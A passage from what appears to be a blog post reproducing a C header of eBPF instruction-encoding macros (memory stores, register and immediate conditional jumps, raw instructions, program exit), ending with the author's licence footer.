#define BPF_STX_XADD(SIZE, DST, SRC, OFF) BPF_ATOMIC_OP(SIZE, BPF_ADD, DST, SRC, OFF)

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })

/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })

/* Program exit */

#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })

#endif


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录